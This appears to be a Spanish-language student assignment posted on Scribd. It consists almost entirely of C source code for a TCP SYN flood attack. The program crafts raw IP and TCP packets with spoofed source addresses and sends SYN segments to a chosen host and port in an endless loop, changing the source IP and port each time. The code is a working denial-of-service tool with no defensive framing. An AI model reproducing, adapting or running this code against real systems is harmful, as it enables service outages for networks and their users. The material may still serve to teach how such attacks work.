Scribd Logo
Cargar

¡Te damos la bienvenida a Scribd!

  • 10 vistas

    6 Código Fuente Ataque Tcpsyn

    Cargado por

    ramon.delgado.vera92

    Copyright:

    © All Rights Reserved
    Descargue como PDF, TXT o lea en línea desde Scribd

    6 Código Fuente Ataque Tcpsyn

    Cargado por

    ramon.delgado.vera92
    10 vistas5 páginas

    Título original

    6 Código fuente Ataque tcpSyn

    Derechos de autor

    © © All Rights Reserved

    Formatos disponibles

    PDF, TXT o lea en línea desde Scribd

    ¿Le pareció útil este documento?

    ¿Este contenido es inapropiado?

    Copyright:

    © All Rights Reserved
    Descargue como PDF, TXT o lea en línea desde Scribd
    Descargar como pdf o txt
    10 vistas5 páginas

    6 Código Fuente Ataque Tcpsyn

    Cargado por

    ramon.delgado.vera92

    Copyright:

    © All Rights Reserved
    Descargue como PDF, TXT o lea en línea desde Scribd
    Descargar como pdf o txt
    de 5

    Asignatura Datos del alumno Fecha

    Código fuente ataque SYN

    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #include <malloc.h>
    #include <time.h>
    #include <sys/socket.h>
    #include <netinet/tcp.h>
    #include <netinet/ip.h>

    #define PUERTOF 5001 //Puerto origen de los datos


    #define SEQ 0x28376839
    #define IPO "1.1.1.1" //IP origen inicial

    //Pseudocabecera TCP definida en RFC 793


    struct tcpph
    {
    unsigned long origen; //IP origen
    unsigned long destino; //IP destino
    char zero; //Campo rellenado con 0
    char ptcl; //Protocolo
    unsigned short tcpl; //Tamaño de la cabecera TCP + datos TCP
    };

    void enviarSegmentoTCP(char * ,char * ,unsigned int );


    unsigned short chkSum(unsigned short * ,int );

    int main(int argc,char **argv)


    {
    if(argc!=3)
    {
    printf("Uso: %s <IP destino> <puerto desino>\n",argv[0]);
    return 0;
    }

    enviarSegmentoTCP(IPO,argv[1],atoi(argv[2]));

    return 0;
    }

    //Calculo del checksum de IP y TCP


    unsigned short chkSum(unsigned short *buffer,int longitud)
    {
    //Acumulador de sumas de palabras de 16 bit
    register int suma=0;
    //Checksum final
    unsigned short chk=0;
    //Si los bytes son impares sobrara 1 al final
    unsigned short resto=0;

    while(longitud>1)
    {
    suma += *buffer++; //Añadir la siguiente palabra de 16 bit
    longitud-=2; //Reducir los bytes restantes en 2 (16 bit)
    }
    Asignatura Datos del alumno Fecha

    if(longitud==1) //Si sobra un ultimo byte, sumarlo


    {
    *(unsigned char *)(&resto) = *(unsigned char *)buffer;
    suma+=resto;
    }

    suma = (suma >> 16) + (suma & 0xFFFF); //Añdir los 16 bit de
    mas peso a los 16 de menor peso
    suma += (suma >> 16); //Añadir el acarreo (no olvidar que se
    trabaja en complemento a 1)
    chk = ~suma; //Complementar a 1

    return (chk);
    }

    //Rellena las cabeceras y envia el datagrama


    void enviarSegmentoTCP(char *ipo,char *ipd,unsigned int puertod)
    {
    int sck=0,nSyn=0;
    char *paquete=NULL;
    char *cabTcpPseudo=NULL;
    struct sockaddr_in sin; //Direccion donde enviar los datos para
    usar con sendto()
    struct tcphdr *cabTcp; //Cabecera TCP definida en tcp.h
    struct tcpph pseudo; //Pseudocabecera TCP
    struct iphdr *cabIp; //Cabecera IP definida en ip.h

    size_t tamTcph=0,tamPseudoh=0,tamIph=0; //Tamaño de cada


    cabecera

    if((ipo==NULL) || (ipd==NULL) || (puertod<1) || (puertod>65535))


    {
    printf("No se pudo crear el paquete. Datos no validos\n");
    return;
    }

    printf("Creando paquete...\n");
    printf("\tIP destino -> %s\n",ipd);
    printf("\tPuerto destino -> %d\n",puertod);

    //Rellenar la direccion para darsela a sendto() despues


    sin.sin_family=AF_INET;
    sin.sin_port=htons(puertod);
    inet_aton(ipd,&sin.sin_addr);
    memset(sin.sin_zero,0,8);

    tamTcph=sizeof(struct tcphdr); //Tamaño de la cabecera TCP


    tamPseudoh=sizeof(struct tcpph); //Tamañano de la
    pseudocabecera TCP
    tamIph=sizeof(struct iphdr); //Tamaño de la cabecera IP

    //Reservar memoria para el paquete


    paquete=calloc(tamIph+tamTcph,1);

    printf("Creando cabecera IP...\n");

    //Rellenar la cabecera IP
    cabIp=(struct iphdr *)paquete;//Señalar la parte de IP con el
    puntero para rellenar los datos
    cabIp->version=4; //version del protocolo IP
    cabIp->ihl=tamIph/4; //tamaño de la cabecera
    Asignatura Datos del alumno Fecha

    cabIp->tos=0; //Tipo de servicio


    cabIp->tot_len=tamTcph + tamIph; //Tamaño del datagrama
    completo (sin pseudocabecera TCP)
    cabIp->id=htons(random()); //identificador para distinguir los
    fragmentos
    cabIp->frag_off=0; //offset de este fragmento
    cabIp->ttl=255; //Time To Live -> numero maximo de saltos que
    puede hacer el paquete
    cabIp->protocol=IPPROTO_TCP; //Protocolo a usar
    cabIp->check=0; //IP checksum, se calculara despues pero
    inicialmente se debe poner a 0
    cabIp->saddr=inet_addr(ipo); //direccion IP origen
    cabIp->daddr=sin.sin_addr.s_addr; //direccion IP destino

    //Calculo del checksum IP


    cabIp->check=chkSum((unsigned short *)paquete,tamIph);

    printf("\tTamaño de la cabecera IP -> 0x%X\n",cabIp->ihl);


    printf("\tVersion del protocolo IP -> 0x%X\n",cabIp->version);
    printf("\tTOS -> 0x%X\n",cabIp->tos);
    printf("\tTamaño del datagrama completo -> 0x%X\n",cabIp-
    >tot_len);
    printf("\tID fragmento -> 0x%X\n",cabIp->id);
    printf("\tOffset fragmento -> 0x%X\n",cabIp->frag_off);
    printf("\tTTL -> 0x%X\n",cabIp->ttl);
    printf("\tProtocolo de niv superior -> 0x%X\n",cabIp->protocol);
    printf("\tChecksum -> 0x%X\n",cabIp->check);
    printf("\tDir. IP Origen formato red -> 0x%X\n",cabIp->saddr);
    printf("\tDir. IP Destino formato red -> 0x%X\n",cabIp->daddr);

    printf("Creando pseudocabecera TCP...\n");

    //Rellenar la pseudocabecera TCP


    pseudo.origen=cabIp->saddr; //direccion IP origen
    pseudo.destino=cabIp->daddr; //direccion IP destino
    pseudo.zero=0; //byte rellenado con 0
    pseudo.ptcl=IPPROTO_TCP; //protocolo usado
    pseudo.tcpl=htons(tamTcph); //Tamaño de la cabecera TCP, no hay
    datos

    printf("\tDireccion IP origen formato red ->


    0x%X\n",pseudo.origen);
    printf("\tDireccion IP destino formato red ->
    0x%X\n",pseudo.destino);
    printf("\tCampo zero -> 0x%X\n",pseudo.zero);
    printf("\tProtocolo -> 0x%X\n",pseudo.ptcl);
    printf("\tTamaño cabecera TCP -> 0x%X\n",pseudo.tcpl);

    printf("Creando cabecera TCP...\n");

    //Rellenar la cabecera TCP


    cabTcp=(struct tcphdr *)(paquete + tamIph); //Apuntar la
    cabecera TCP despues de la cabecera IP
    cabTcp->source=htons(PUERTOF); //puerto fuente
    cabTcp->dest=sin.sin_port; //puerto destino
    cabTcp->seq=htonl(SEQ); //numero de secuencia
    cabTcp->ack_seq=0; //numero de secuencia de confirmacion
    cabTcp->doff=tamTcph/4; //longitud de la cabecera
    //Flags TCP
    cabTcp->res1=0;
    cabTcp->fin=0;
    Asignatura Datos del alumno Fecha

    cabTcp->syn=1; //flag para establecimiento de conexion


    cabTcp->rst=0;
    cabTcp->psh=0;
    cabTcp->ack=0;
    cabTcp->urg=0;
    cabTcp->res2=0;
    //Resto campos segmento TCP
    cabTcp->window=htons(65535);
    cabTcp->check=0; //Checksum TCP, lo calculamos despues.
    Inicialmente hay que ponerlo a 0
    cabTcp->urg_ptr=0;

    printf("\tPuerto fuente formato red -> 0x%X\n",cabTcp->source);


    printf("\tPuerto destino formato red -> 0x%X\n",cabTcp->dest);
    printf("\tNumero secuencia -> 0x%X\n",cabTcp->seq);
    printf("\tNumero secuencia confirmacion -> 0x%X\n",cabTcp-
    >ack_seq);
    printf("\tLongitud de la cabecera -> 0x%X\n",cabTcp->doff);
    printf("\tFlags -> 0x%X\n",(cabTcp->res1|cabTcp->fin|cabTcp-
    >syn|cabTcp->rst|cabTcp->psh|cabTcp->ack|cabTcp->urg|cabTcp->res2));
    printf("\tVentana -> 0x%X\n",cabTcp->window);
    printf("\tChecksum -> 0x%X\n",cabTcp->check);
    printf("\tPtr Urgente -> 0x%X\n",cabTcp->urg_ptr);

    //Unir la cabecera y la pseudocabecera en el mismo buffer


    cabTcpPseudo=calloc(tamTcph + tamPseudoh,1);
    memcpy(cabTcpPseudo,&pseudo,tamPseudoh);
    memcpy(cabTcpPseudo + tamPseudoh,cabTcp,tamTcph);

    //Calcular el checksum TCP ahora que ya estan todos los datos


    cabTcp->check=chkSum((unsigned short *)cabTcpPseudo,tamTcph +
    tamPseudoh);
    //free(cabTcpPseudo); //Liberar el espacio reservado no
    necesario

    printf("Creando socket\n");

    //Crear el socket en modo RAW para poder enviar las cadenas


    //que se quieran sin alteraciones
    sck=socket(AF_INET,SOCK_RAW,IPPROTO_TCP);

    if(sck<0)
    {
    printf("Error creando el socket. ¿Es usuario root?\n");
    return;
    }

    //Notificamos al socket que las cabeceras ya estan incluidas


    //para que no añada las suyas propias
    int ok=1;
    if(setsockopt(sck,IPPROTO_IP,IP_HDRINCL,&ok,sizeof(int))<0)
    {
    printf("No se pudo notificar la inclusion de cabeceras\n");
    return;
    }

    printf("Enviando el datagrama\n");

    //Enviar el datagrama
    while(1)
    {
    Asignatura Datos del alumno Fecha

    sendto(sck,paquete,tamTcph+tamIph,0,(struct sockaddr
    *)&sin,sizeof(struct sockaddr_in));
    nSyn++;
    printf("\rEnviado SYN %d",nSyn);

    cabIp->saddr=cabIp->saddr++;
    cabIp->check=0;

    cabIp->check=chkSum((unsigned short *)paquete,tamIph);

    pseudo.origen=cabIp->saddr;

    if(ntohs(cabTcp->source)==15000)
    cabTcp->source=htons(PUERTOF);
    else
    cabTcp->source=cabTcp->source++;

    cabTcp->check=0;

    //Unir la cabecera y la pseudocabecera en el mismo buffer


    cabTcpPseudo=calloc(tamTcph + tamPseudoh,1);
    memcpy(cabTcpPseudo,&pseudo,tamPseudoh);
    memcpy(cabTcpPseudo + tamPseudoh,cabTcp,tamTcph);

    //Calcular el checksum TCP ahora que ya estan todos los


    datos
    cabTcp->check=chkSum((unsigned short *)cabTcpPseudo,tamTcph
    + tamPseudoh);
    }
    }

    También podría gustarte